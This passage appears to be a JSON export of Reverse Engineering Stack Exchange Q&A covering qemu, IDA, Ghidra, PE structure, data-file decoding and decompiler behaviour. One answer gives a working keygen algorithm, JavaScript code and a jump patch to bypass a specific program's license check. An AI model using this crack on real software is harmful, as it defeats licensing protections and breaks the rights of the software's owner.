 false\nstatic   false\nstripped true\nsubsys   linux\nva       true\n</code></pre>\n\n<p>My system info:</p>\n\n<pre><code>kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ uname -a\nLinux kaido 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 10:19:08 UTC 2018 i686 i686 i686 GNU/Linux\n</code></pre>\n\n<p>Any idea on how to resolve this? All the resources that I was able to find online have something to do with <code>.so</code> files causing the error.</p>\n",
        "Title": "`qemu-mips-static` chroot causing `Invalid ELF image` error",
        "Tags": "|firmware|linux|mips|qemu|firmware-analysis|",
        "Answer": "<p>It seems your binaries are little-endian, so you neeed qemu-mips<strong>el</strong>.</p>\n"
    },
    {
        "Id": "22767",
        "CreationDate": "2019-12-17T13:29:14.393",
        "Body": "<p>when trying to decompile some interrupt service routines done with Watcom, the __GETDS call at the beginning of the functions will break the decompiler output completely.\nHere's the disassembly:\n<a href=\"https://i.stack.imgur.com/UuPFE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UuPFE.png\" alt=\"Disassembly\"></a></p>\n\n<p>And here the decompiler output:\n<a href=\"https://i.stack.imgur.com/oJDoP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oJDoP.png\" alt=\"Decompiler\"></a></p>\n\n<p>What could be the reason for this? Is there a way to fix this? The only thing that worked for me was creating a separate function for the code below __GETDS, but that's not really satisfying.\nThanks in advance!</p>\n",
        "Title": "IDA Pro: __GETDS breaks decompiler output",
        "Tags": "|ida|decompiler|",
        "Answer": "<p>This happens because <code>__GETDS</code> is placed just after the entrypoint code and is initially detected by IDA as part of the <code>start</code> function:</p>\n\n<pre><code>cseg01:0001AAD1                 push    eax\ncseg01:0001AAD2                 mov     eax, 0\ncseg01:0001AAD7                 mov     edx, 0Fh\ncseg01:0001AADC                 call    __FiniRtns\ncseg01:0001AAE1                 pop     eax\ncseg01:0001AAE2                 mov     ah, 4Ch ; 'L'\ncseg01:0001AAE4                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)\ncseg01:0001AAE4                                         ; AL = exit code\ncseg01:0001AAE6                 mov     eax, eax\ncseg01:0001AAE8\ncseg01:0001AAE8 __GETDS:                                ; CODE XREF: __int23_handler+A\u2193p\ncseg01:0001AAE8                                         ; __int_ctrl_break_handler+A\u2193p ...\ncseg01:0001AAE8 __GETDSStart_:\ncseg01:0001AAE8                 mov     ds, cs:word_1AAF1\ncseg01:0001AAF0                 retn\ncseg01:0001AAF0 start           endp\n</code></pre>\n\n<p>Since the call is to a middle of an existing function, IDA considers it to be non-returning and stops the code flow. The solution is to break <code>start</code> after the <code>int 21h</code> call (Set function end, or 'E' key) and create a proper function for <code>__GETDS</code> itself. Then you will need to reanalyze all call sites (and maybe recreate the functions) so that code flow is properly updated. </p>\n"
    },
    {
        "Id": "22778",
        "CreationDate": "2019-12-19T02:31:40.873",
        "Body": "<p>I'm trying to bypass the license of a very old software that i was using many years ago, now, the company of that software is closed and i can't get a license \nso, with a little bit of knowledge in assembly i changed </p>\n\n<pre><code>mov byte ptr ds:[ecx+0x72], al\n</code></pre>\n\n<p>to </p>\n\n<pre><code>mov al,1\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/vHdd0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vHdd0.png\" alt=\"enter image description here\"></a>\nthen i got </p>\n\n<p><a href=\"https://i.stack.imgur.com/ob0gZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ob0gZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>The software compare a hash with the hash of the key code you entered, if it's the same, it will work\n<a href=\"https://i.stack.imgur.com/e36Zl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/e36Zl.png\" alt=\"enter image description here\"></a>\na random license request code generated everytime you run the .exe</p>\n\n<p>using GenerateRandomNumber\n<a href=\"https://i.stack.imgur.com/KDHjV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KDHjV.png\" alt=\"enter image description here\"></a>\nand hashed by using HkdfHashAlgorithm\n<a href=\"https://i.stack.imgur.com/QBSUm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QBSUm.png\" alt=\"enter image description here\"></a>\nhere's the .exe</p>\n\n<p><a href=\"https://www.mediafire.com/file/ujd576jm8eg7oay/SpoolManager.exe/file\" rel=\"nofollow noreferrer\">https://www.mediafire.com/file/ujd576jm8eg7oay/SpoolManager.exe/file</a></p>\n\n<p>I'm not sure if that illigal to post it here, but I have no other solution</p>\n\n<p>Appreciate any help</p>\n",
        "Title": "bypass license of very old software, Access violation (C0000005) x32dbg",
        "Tags": "|assembly|debugging|x64dbg|",
        "Answer": "<p><code>mov al, 1</code>, the instruction you want to use becomes <code>b0 01</code> (<a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"nofollow noreferrer\">you can check here</a>), assuming x86-32. That is, <strong>2 Bytes</strong>.</p>\n\n<p>The instruction you are patching (<code>mov byte ptr ds:[ecx+0x72], al</code>) is <code>88 41 72</code> and so takes up <strong>3 Bytes</strong>. See the problem already?</p>\n\n<p>That means you are only patching the first two bytes of the instruction and need to pad it with a single-byte NOP (no operation, i.e. <code>90</code>) in order for all subsequent instructions to be correct.</p>\n\n<p>Otherwise the processor will start decoding at <code>&lt;patched-instruction&gt;+2</code> and assume that it is correct. Which it probably isn't.</p>\n\n<p><s>Not sure what all those screenshots are supposed to be about. They seem to have no relation to the instructions you said you were patching ...</s></p>\n\n<hr>\n\n<p>Now that you have posted the screenshot of the patch site, we can even potentially tell you what the CPU was trying to execute.</p>\n\n<p>The patch site before your patch was directly at the return from a function:</p>\n\n<pre><code>88 41 72                mov    BYTE PTR [ecx+0x72],al\nc2 04 00                ret    0x4\n; ------ end of function\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n</code></pre>\n\n<p>After your patch it would have looked like this:</p>\n\n<pre><code>b0 01                   mov    al,0x1\n72 c2                   jb     0xffffffc6\n04 00                   add    al,0x0\n; ------ end of function\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n90                      nop\n</code></pre>\n\n<p>Still 12 Bytes overall (6 inside the function you were patching), but a completely different meaning. We can guess that either the jump instruction was taken and led into a location which gave the access violation, or that the condition (of <code>jb</code>) didn't evaluate to true and the CPU executed the <code>add</code> followed by 6x <code>nop</code> and then ended up in a completely different function (at least this looks like a function prologue) but with the stack still in place from the call to the previous function and so on ...</p>\n"
    },
    {
        "Id": "22780",
        "CreationDate": "2019-12-19T07:40:23.403",
        "Body": "<p>I have following code disassembled by ghidra:</p>\n\n<pre><code>PUSH      EBX\nPUSH      dword ptr [EBP + param_1]             wchar_t * _Format for swprintf\nPUSH      u_%s\\%s_0040eb88                      size_t _Count for swprintf\nPUSH      dword ptr [EBP + param_3]             wchar_t * _String for swprintf\nCALL      dword ptr [-&gt;MSVCRT.DLL::swprintf]\n</code></pre>\n\n<p>The 2nd parameter is unicode string %s\\%s, but it should be size_t parameter, because <a href=\"http://www.cplusplus.com/reference/cwchar/swprintf/\" rel=\"nofollow noreferrer\">swprintf</a> function requires count parameter</p>\n\n<p>This is another code which uses the same function:</p>\n\n<pre><code>LEA       EAX=&gt;local_4dc,[0xfffffb28 + EBP]\nPUSH      EAX                                        wchar_t * _Format for swprintf\nLEA       EAX=&gt;windowsDir,[0xfffffd30 + EBP]\nPUSH      _Count_0040f40c                            size_t _Count for swprintf\nPUSH      EAX                                        wchar_t * _String for swprintf\nCALL      EDI=&gt;MSVCRT.DLL::swprintf\n</code></pre>\n\n<p>Again, <code>_Count_0040f40c</code> is unicode string %/Program Data detected as <code>_Count</code></p>\n\n<p>Ghidra has correct function signature:</p>\n\n<pre><code>int swprintf (wchar_t * _String, size_t _Count, wchar_t * _Format, ...)\n</code></pre>\n\n<p>Normal count parameter is always missing, what Ghidra detects doesn't refer to number type variable. It looks like if all functions were compiled without it. All those memory variables ghidra detects as count parameters are actually format parameters. If there was actual count parameter every time swprintf was called, everything would be looking good.</p>\n",
        "Title": "Function's signature with unmatching parameters",
        "Tags": "|functions|ghidra|",
        "Answer": "<p>It seems the  picked prototype is incorrect. The original version of <code>swprintf</code> does not have the count parameter.  From the VS 9.0 (2008) CRT sources:</p>\n\n<pre><code>#ifndef _COUNT_\n\nint __cdecl _swprintf (\n        wchar_t *string,\n        const wchar_t *format,\n        ...\n        )\n#else  /* _COUNT_ */\n\n#ifndef _SWPRINTFS_ERROR_RETURN_FIX\n/* Here we implement _snwprintf without the\nreturn value bugfix */\n\nint __cdecl _snwprintf (\n        wchar_t *string,\n        size_t count,\n        const wchar_t *format,\n        ...\n        )\n#else  /* _SWPRINTFS_ERROR_RETURN_FIX */\nint __cdecl _swprintf_c (\n        wchar_t *string,\n        size_t count,\n        const wchar_t *format,\n        ...\n        )\n#endif  /* _SWPRINTFS_ERROR_RETURN_FIX */\n</code></pre>\n"
    },
    {
        "Id": "22784",
        "CreationDate": "2019-12-19T17:13:32.373",
        "Body": "<p>I'm trying to bypass (crack) a very old software that require license in order to unlock all the features</p>\n\n<p>i was digging in the lines with a little bit of knowledge in assembly\nand i found the line where it compare the hash of the request code with the hash of the license i entered</p>\n\n<p>this is the line ( not %100 sure )\n<a href=\"https://i.stack.imgur.com/At4Dm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/At4Dm.png\" alt=\"enter image description here\"></a></p>\n\n<p>arrow1 where the random request code generated and the entered license saved to a param (not sure)</p>\n\n<p>arrow2 where the compare happen ( same not sure)</p>\n\n<p>The software compare a hash with the hash of the key code you entered, if it's the same, it will work</p>\n\n<p>a random license request code generated everytime you run the .exe</p>\n\n<p>using GenerateRandomNumber</p>\n\n<p><a href=\"https://i.stack.imgur.com/Juvh2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Juvh2.png\" alt=\"enter image description here\"></a></p>\n\n<p>and hashed by using HkdfHashAlgorithm</p>\n\n<p><a href=\"https://i.stack.imgur.com/U78SZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/U78SZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>my question is</p>\n\n<p>when i change <code>je 0x7C1AEF1F</code> to <code>jne 0x7C1AEF1F</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/gIYl4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gIYl4.png\" alt=\"enter image description here\"></a></p>\n\n<p>the software stopped working and when i execute it i got the command prompt for 1second and disappear</p>\n\n<p><a href=\"https://i.stack.imgur.com/cEoRd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cEoRd.png\" alt=\"enter image description here\"></a></p>\n\n<p>so what i need to change in order to compare the hash of the request code with the same hash or to say if not equal so activated...</p>\n\n<p>Appreciate any help</p>\n",
        "Title": "change compare function in assembly and .exe stopped working x64dbg",
        "Tags": "|assembly|debugging|x64dbg|",
        "Answer": "<p><strong>Algorithm</strong>: ((Licence request code) + 0x26946948) ^ (your serial number of <code>C:</code> volume or <code>0xffffffff</code> if failed).</p>\n\n<ul>\n<li><p>This <a href=\"https://play.golang.org/p/Wi2maUZ7ti_N\" rel=\"nofollow noreferrer\">keygen</a> I'm written in golang.</p></li>\n<li><p>Or javascript keygen\n<code>\nfunction keygen(code, serial) {\n code = parseInt(/([0-9-]{12})/.exec(code)[0].replace(/-/g, ''))\n return ((code + 0x26946948) ^ parseInt(serial.replace(/-/g, ''), 16)) &gt;&gt;&gt; 0\n}\n// example\n// '9950-7444-3132-b9' is Licence request code\n// 'A639-6EDE'         is Volume Serial Number of C:\nkeygen('9950-7444-3132-b9', 'A639-6EDE')\n</code></p></li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/KaYOm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KaYOm.png\" alt=\"serial\"></a></p>\n\n<ul>\n<li>Or modify assembly at <strong>file.exe+178A</strong> <code>je file.exe+17B4</code> -> <code>jne file.exe+17B4</code> to bypass.</li>\n</ul>\n"
    },
    {
        "Id": "22793",
        "CreationDate": "2019-12-20T20:48:14.310",
        "Body": "<p>I am working on a CTF where I need to pass an address as input to a program. This address contains the value 0x09 (the tab character). This is causing me problems, because it seems that bash is interpreting the tab before it is input to the actual program.</p>\n\n<p>Say I have a simple bash script:</p>\n\n\n\n<pre><code>#!/usr/bin/env bash\n\necho $1\n</code></pre>\n\n<p>I would then like to pass e.g. \"1\"+\"\\x09\"+\"2\" and have the output from the program be: \"1\\x092\".</p>\n\n<p>However the tab character moves the \"2\" to the second argument and it is then not echoed.</p>\n\n<p>Currently if I do</p>\n\n\n\n<pre><code>./script.sh $(python -c 'print \"1\"+\"\\x09\"+\"2\"')\n</code></pre>\n\n<p>It just echos \"1\". Is there a way to keep the three characters tied together?</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "How to input ascii control character into program?",
        "Tags": "|linux|python|",
        "Answer": "<p>try:</p>\n\n<p><code>printf '\\x31\\x09\\x32' | xargs python script.py</code></p>\n"
    },
    {
        "Id": "22796",
        "CreationDate": "2019-12-21T00:37:39.240",
        "Body": "<p>I'm new to reverse enginnering and currently following Lena's tutorials. I wanted to put my new skills to use and wanted to reverse a simple game: <a href=\"https://github.com/Zolomon/labyrinth\" rel=\"nofollow noreferrer\">https://github.com/Zolomon/labyrinth</a>. </p>\n\n<p>I think I'm stuck somewhere in ntdll. How do I get out of that? It's after the game as been instantiated then everything stops working.</p>\n\n<p>I was hoping I would be stuck in the game loop and from there I was hoping to capture in-game movements. </p>\n\n<p>Below is a picture where I've put breakpoints right before the game window is created. <a href=\"https://i.stack.imgur.com/TCeMO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TCeMO.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/2fmAI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2fmAI.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Stuck at ntdll when trying to enter a game loop",
        "Tags": "|debugging|",
        "Answer": "<p>You can see the main module by going to \"View -> Executable Modules\" and selecting it instead of \"ntdll\".</p>\n"
    },
    {
        "Id": "22805",
        "CreationDate": "2019-12-23T02:19:47.637",
        "Body": "<p>I'm new to reverse engineering and I have started to study the anatomy of specific file formats, specifically PE right now. I really enjoy learning the different parts of the files and the different flags. </p>\n\n<p>I was just wondering, what are practical uses of this in the work force of reverse engineering?</p>\n\n<p>I know they probably serve some purpose but I am really new to this field and I was wondering when you employed this knowledge before. </p>\n",
        "Title": "Importance of learning file structures for reverse engineering?",
        "Tags": "|binary-analysis|elf|pe|",
        "Answer": "<p>Although this question is a bit broad, I feel that I can provide an acceptable answer by at least explaining some ways that I've used file format structures in reversing.</p>\n\n<p>First of all, a reverse engineer \"in the workforce\" always has some goal. For example, a malware analyst working at an antivirus company may analyze a sample to:</p>\n\n<ol>\n<li>Learn how the same works</li>\n<li>Learn novel techniques that it used to defeat the antivirus system</li>\n</ol>\n\n<p>Reverse engineering is simply learning about how a given system works. A file format is part of this system, and as such, simply learning about how the file format works, what its magic value is, what type of data is stored there, what the header consists of, and so on are all part of the reverse engineering process for some projects.</p>\n\n<p>One project that I worked on involved learning how the PE format header of some files differed from the PE format header of other files. In doing this, I needed to find out why the Windows operating system would properly load certain PE files, and would refuse to load other PE files, based on some data modifications in the PE file headers.</p>\n\n<p>This project was not open source, so I cannot go into too much detail, but I can tell you that people who want to prevent reverse engineering will use tools/algorithms called \"packers\" and \"software protectors\" and one component of these tools is that they will obstruct, corrupt, or otherwise mutate the data in the PE header on disk. One example of why someone would do this is because the PE header has a list of all external libraries and functions which will be called by the executable. This list is called <code>IMAGE_IMPORT_DESCRIPTOR</code> for each DLL such as kernel32.dll and ntdll.dll which has a list of <code>IMAGE_IMPORT_BY_NAME</code> (can also be ordinal imports) which lists out all of the functions to be used by the executable. An easy way to learn about how a program works is to simply view this list of imports because if a program will use networking, there will be networking imports, if it uses cryptography, there will be crypto imports, and so on.</p>\n\n<p>So to prevent this, software packers and protectors will often destroy this table on-disk and then rebuild it dynamically after the program is run. In order to effectively analyze the program, reverse engineers often have to dump the program after it is loaded in memory and rebuild the tables with a tool like ImpRec. Having a solid understanding of the PE file format makes this task possible.</p>\n\n<p>In the case of my aforementioned project, I needed to find out when a bit was set in a header member, why the OS would treat the file differently than if that bit was cleared. This involved learning the file format, then using WinDbg as a kernel debugger to find out why <code>NtCreateProcess</code> would not load certain files.</p>\n\n<p><strong>Example 2</strong></p>\n\n<p>I had a file parser that I needed to test for security vulnerabilities. One of the parser's main jobs is to read the file format header data structures, interpret them, and then act upon that data. Think of what happens when Adobe Photoshop opens up a JPEG file, for example. For this task, I had to study the documentation for the file format to better understand what those data structures did, then I wrote a custom fuzzing tool to inject arbitrary malformed data into the headers in an attempt to exploit the parser application.</p>\n"
    },
    {
        "Id": "22812",
        "CreationDate": "2019-12-23T12:03:46.240",
        "Body": "<p>I am so newbie about this matter. </p>\n\n<p>I have a file XXXX.record file that contains a data. </p>\n\n<p>When I open the file </p>\n\n<p><a href=\"https://i.stack.imgur.com/zfRHY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zfRHY.png\" alt=\"enter image description here\"></a></p>\n\n<p>How can I read this data and modify the values? </p>\n\n<p>thanks. </p>\n\n<p><a href=\"https://i.stack.imgur.com/KY8WZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KY8WZ.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "I want to modify the data",
        "Tags": "|debugging|hex|",
        "Answer": "<p>The first line of your file contains device information - it seems you are reading <a href=\"http://www.phoenixtm.com/en/products/data-loggers/\" rel=\"nofollow noreferrer\">HT DataLogger</a>'s data. From the quick glance, I conclude, this device measures temperature.</p>\n<p>Subsequent data looks like an <em>array of floats</em> - one can deduce it from <code>41</code>'s and <code>42</code>'s in each <code>4</code>-byte block (&quot;reasonable&quot; float numbers usually start with them when written in hex).</p>\n<p>To read the data, just take any <code>4</code>-byte, block starting with an address divisible by <code>4</code> and use <a href=\"https://www.binaryconvert.com/result_float.html\" rel=\"nofollow noreferrer\">this site</a>. However, as you may notice, the order of bytes in each <code>4</code>-byte block has to be different than just &quot;left to right&quot;, that is, so-called <em>big endian</em>.</p>\n<p>Knowing that each number has to start with either <code>41</code> or <code>42</code> (otherwise resulting numbers would be too high or too low to reflect the temperature), you can conclude that, in  fact, number <code>ABCD</code> really means <code>BADC</code>, so it's <em>little endian</em> encoding with respect to each <code>2</code> bytes.</p>\n<p>For example, if you want to decode <code>01 41 33 33</code>, you want to convert the number <code>41 01 33 33</code> to decimal format (that is ~<code>8.075</code> Celcius degrees).</p>\n<p>Modifying data is rather straightforward - hex editors provide very easy way to do it; just highlight relevant bytes and start typing.</p>\n<p><strong>Edit:</strong> it is also possible (and more likely) that the numbers are stored in <em>little endian</em> encoding, assuming that the first one begins at address <code>0012h</code>. In such a case, <code>0x421</code> (<code>21 04 00 00</code>) is probably the size of the float array.</p>\n"
    },
    {
        "Id": "22816",
        "CreationDate": "2019-12-23T15:39:53.620",
        "Body": "<p>I was reading <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-createtimerqueuetimer\" rel=\"nofollow noreferrer\">a man page</a> about CreateTimerQueueTimer.</p>\n<pre><code>BOOL CreateTimerQueueTimer(\n  PHANDLE             phNewTimer,\n  HANDLE              TimerQueue,\n  WAITORTIMERCALLBACK Callback,\n  PVOID               DueTime,\n  DWORD               Period,\n  DWORD               Flags,\n  ULONG               Parameter\n);\n</code></pre>\n<p>The doc states:</p>\n<blockquote>\n<p>Period</p>\n<p>The period of the timer, in milliseconds. If this parameter is zero, the timer is signaled once.</p>\n</blockquote>\n<p>So I needed to set this to 0 to avoid the callback to be executed periodically.\nThe problem was that modifying the <code>period</code> value has no effect on periodicity. Once loaded in OllyDBG, Olly reconstructed the arguments and the call giving me this function signature :</p>\n<pre><code>BOOL CreateTimerQueueTimer(\n PHANDLE             phNewTimer,\n HANDLE              TimerQueue,\n WAITORTIMERCALLBACK Callback,\n ULONG               Parameter,\n PVOID               DueTime,\n DWORD               Period,\n DWORD               Flags\n);\n</code></pre>\n<p>Notice that the <code>parameter</code> argument changed position, and thus all my patches was useless. I guess this error might be due to an old version of the API where the <code>Parameter</code> argument was in 4th position, but I can be wrong. Also, I can't find old WinAPIs to confirm my sayings.\nAm I guessing right or am I missing something?</p>\n",
        "Title": "CreateTimerQueueTimer arguments differs from WinAPI",
        "Tags": "|assembly|malware|winapi|calling-conventions|",
        "Answer": "<p>Yep, I think I've seen a similar case before. It happens very rarely, but because you can do some stunts at the C preprocessor level as well as at the linker level, this happens to work.</p>\n\n<p>In this case I looked it up in the 3790.1830 DDK (Windows 2003 Server) and several newer WDKs and SDKs.</p>\n\n<h3>Windows 2000/XP target (<code>3790.1830/inc/w2k/winbase.h</code> and <code>3790.1830/inc/wxp/winbase.h</code>)</h3>\n\n<pre><code>WINBASEAPI\nBOOL\nWINAPI\nCreateTimerQueueTimer(\n    PHANDLE phNewTimer,\n    HANDLE TimerQueue,\n    WAITORTIMERCALLBACK Callback,\n    PVOID Parameter,\n    DWORD DueTime,\n    DWORD Period,\n    ULONG Flags\n    ) ;  \n</code></pre>\n\n<h3>Windows 2003/Vista/7 target (<code>3790.1830/inc/wnet/winbase.h</code> and <code>6001.18002/inc/api/WINBASE.H</code> and <code>7600.16385.1/inc/api/WINBASE.H</code>)</h3>\n\n<pre><code>WINBASEAPI\nBOOL\nWINAPI\nCreateTimerQueueTimer(                                                                                                                                                                                             \n    __deref_out PHANDLE phNewTimer,\n    __in_opt    HANDLE TimerQueue,\n    __in        WAITORTIMERCALLBACK Callback,\n    __in_opt    PVOID Parameter,\n    __in        DWORD DueTime,\n    __in        DWORD Period,\n    __in        ULONG Flags \n    ) ;   \n</code></pre>\n\n<h3>With the Windows 8.1 SDK ...</h3>\n\n<p>... this API moved into another header: <code>Include/um/threadpoollegacyapiset.h</code> (check out <a href=\"http://www.geoffchappell.com/studies/windows/win32/apisetschema/index.htm\" rel=\"nofollow noreferrer\">this study on API sets</a>).</p>\n\n<pre><code>WINBASEAPI\nBOOL\nWINAPI\nCreateTimerQueueTimer(\n    _Outptr_ PHANDLE phNewTimer,\n    _In_opt_ HANDLE TimerQueue,\n    _In_ WAITORTIMERCALLBACK Callback,\n    _In_opt_ PVOID Parameter,\n    _In_ DWORD DueTime,\n    _In_ DWORD Period,\n    _In_ ULONG Flags\n    );  \n</code></pre>\n\n<p>... so no change up until this point (other than adopting SAL2 annotations).</p>\n\n<p>For the Windows 10 SDKs 10.0.10240.0, 10.0.16299.0, 10.0.17134.0, 10.0.17134.0, 10.0.17763.0, 10.0.18362.0 it still has the same order for the arguments as for Windows 8.1. <strong>So it stands to reason you ran into a documentation issue rather than an actual change here.</strong></p>\n\n<p>There is <a href=\"https://github.com/MicrosoftDocs/sdk-api/pulls?utf8=%E2%9C%93&amp;q=is%3Apr+CreateTimerQueueTimer\" rel=\"nofollow noreferrer\">no pending or old (and closed) pull request mentioning this function</a>, so you may want to consider sending one.</p>\n"
    },
    {
        "Id": "22818",
        "CreationDate": "2019-12-23T20:13:36.333",
        "Body": "<p>I've been messing around in visual studio for half an hour trying to figure out how to properly display maps from a file, but all I can output is hot garbage, all I know is that the maps are 64x64, can someone help me with this?</p>\n\n<p><a href=\"https://drive.google.com/file/d/1E1hCQaqfR5at0pkKgbKuyt7RhMua9IYC/view?usp=sharing\" rel=\"nofollow noreferrer\">map file</a></p>\n",
        "Title": "can someone help me with this map format?",
        "Tags": "|c++|file-format|",
        "Answer": "<p>You must have been looking at the wrong representation.</p>\n\n<p>Opening the file with a plain graphics viewer shows that it indeed contains \"maps\", in a 2-byte-per-block format and with a fixed width of 128 bytes/64 blocks:</p>\n\n<p><a href=\"https://i.stack.imgur.com/1UOhe.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/1UOhe.png\" alt=\"image courtesy of a most basic bitmap viewer\"></a></p>\n\n<p>The first 514 bytes seem to contain some other kind of data but after that every two bytes form one single map block. You'll have to compare these word values against a running game to find out what they represent.</p>\n\n<p>Finding the bitmap text \"D.P. Gray 1994\" in the map leads me to believe you are looking at <a href=\"https://en.wikipedia.org/wiki/Nitemare_3D\" rel=\"noreferrer\">Nitemare 3D</a>, and with that information you can find <em>several</em> map editors, such as the one at <a href=\"http://wolf3d.darkbb.com/t1981-nitemare-3d-mapeditor\" rel=\"noreferrer\">http://wolf3d.darkbb.com/t1981-nitemare-3d-mapeditor</a>, which conveniently also tells you the same details I describe above (do note that that post is from 2011).</p>\n\n<p><sup>It took me less than 5 minutes to recognize \"the format\", and another 5 or so to google \"D.P. Gray 1994\".</sup></p>\n"
    },
    {
        "Id": "22827",
        "CreationDate": "2019-12-26T02:29:09.133",
        "Body": "<p>I'm testing several decompilers against the following <code>C</code> code</p>\n\n\n\n<pre><code>\nstatic int bar(int i) {\n    return ++i;\n}\n\nstatic int apply(int (*fun)(int), int i) {\n    return i % fun(i);\n}\n\nstatic int foo(int (*app)(int (*fun)(int), int), int i)  {\n    return i / app(bar, i);\n}\n\nint main() {\n    return foo(apply, 7);\n}\n</code></pre>\n\n<p>which is compiled by just <code>clang test.c</code>.</p>\n\n\n\n<pre><code>; main\n0x0         push rbp\n0x1         mov rbp, rsp\n0x4         sub rsp, 0x10\n0x8         mov dword ptr [rbp-0x4], 0x0\n0xf         mov rdi, @apply\n0x19        mov esi, 0x7\n0x1e        call foo\n0x23        add rsp, 0x10\n0x27        pop rbp\n0x28        ret\n\n; foo\n0x30        push rbp\n0x31        mov rbp, rsp\n0x34        sub rsp, 0x20\n0x38        mov [rbp-0x8], rdi\n0x3c        mov [rbp-0xc], esi\n0x3f        mov eax, [rbp-0xc]\n0x42        mov rcx, [rbp-0x8]\n0x46        mov esi, [rbp-0xc]\n0x49        mov rdi, @bar\n0x53        mov [rbp-0x10], eax\n0x56        call rcx\n0x58        mov edx, [rbp-0x10]\n0x5b        mov [rbp-0x14], eax\n0x5e        mov eax, edx\n0x60        cdq\n0x61        mov esi, [rbp-0x14]\n0x64        idiv esi\n0x66        add rsp, 0x20\n0x6a        pop rbp\n0x6b        ret\n\n</code></pre>\n\n<p>I was aware of some limits in argument/parameter detection (from the response to <a href=\"https://reverseengineering.stackexchange.com/questions/22634/struct-reconstruction-in-decompilers\">another question</a>). But each decompiler seems, in one way or another, have inconsistency in the type system of its decompiled language (I think they all try to decompile to <code>C</code> or pseudo-<code>C</code>).</p>\n\n<p><code>IDA v.7.4.191122</code> (evaluation version) gives:</p>\n\n\n\n<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  return foo(apply, 7LL, envp);\n}\n\n__int64 __fastcall foo(int (__fastcall *a1)(__int64 (__fastcall *)(), _QWORD), unsigned int a2)\n{\n  return (unsigned int)((int)a2 / a1(bar, a2));\n}\n</code></pre>\n\n<p>I don't show results of <code>bar</code> and <code>apply</code> because there was already an inconsistency here: IDA detects that <code>foo</code> is called with 3 arguments in <code>main</code>, but then it concludes that <code>foo</code> has actually 2 parameters.</p>\n\n<p>Next, <code>Ghidra v9.1.build.2019-oct-23</code>:</p>\n\n\n\n<pre><code>void main(void)\n{\n  foo(apply,7);\n  return;\n}\n\nulong foo(code *param_1,uint param_2,undefined8 param_3)\n{\n  int iVar1;\n\n  iVar1 = (*param_1)(bar,(ulong)param_2,param_3,param_1);\n  return (long)(int)param_2 / (long)iVar1 &amp; 0xffffffff;\n}\n</code></pre>\n\n<p>which has an opposite opinion: <code>foo</code> is called in <code>main</code> with 2 arguments, but in its definition <code>foo</code> has 3 parameters.</p>\n\n<p><code>JEB v.3.8.0.201912242244</code> (evaluation version):</p>\n\n\n\n<pre><code>unsigned long main() {\n  return foo(&amp;apply, 7L);\n}\n\nunsigned long foo(unsigned long param0) {\n  unsigned int v0 = v1;\n  param0();\n  return (unsigned long)(v0 / ((unsigned int)v2));\n}\n</code></pre>\n\n<p>which gives a perfect result for <code>main</code>, but it then claims that <code>foo</code> is a function of just 1 parameters (and while it shows <code>param0()</code>, it keeps <code>param0</code> as <code>unsigned long</code>).</p>\n\n<p>Actually, the decompilation results are not correct (which is somehow understandable), but they are even inconsistent. Do I miss some configuration?</p>\n",
        "Title": "Type inference inconsistency",
        "Tags": "|ida|decompilation|ghidra|jeb|",
        "Answer": "<p><code>IDA</code> results look pretty good. I believe that the signature of <code>main</code> comes from any kind of <code>FLIRT</code> or other function recognitions - It detects that the function is <code>main</code>, and therefore gives it the default main signature. it looks like <code>foo</code> disassembled well. You can configure yourself the signature by pressing <code>y</code> on the function call. You must understand that the whole process is very heuristic, and this info does not appear anywhere in the binary.</p>\n\n<p>I saw it several times in <code>IDA</code>, that it creates a good signature for a function but sometimes calls it with extra/missing parameters. I believe it's a bug, rather than something configurable.</p>\n"
    },
    {
        "Id": "22833",
        "CreationDate": "2019-12-26T10:25:03.123",
        "Body": "<p>I want to write a C function, such that <code>hex-rays</code> decompiler will fail on it. I want to do it for study purposes, and not for an actual anti-reversing method. Do you have any recommendations/approaches how can I write such a function, that will compile with <code>gcc</code> or similar compiler, but won't be decompilable by <code>hex-rays</code>?</p>\n\n<p><strong>EDIT:</strong> \nMy goal is to make the code disassemblable, but not decompilable. I'm not looking for obfuscators that will hide the code completely, but a way to make IDA not to be able to decompile. for example, by somehow messing with the stack pointer. </p>\n",
        "Title": "Methods for preventing IDA decompiler",
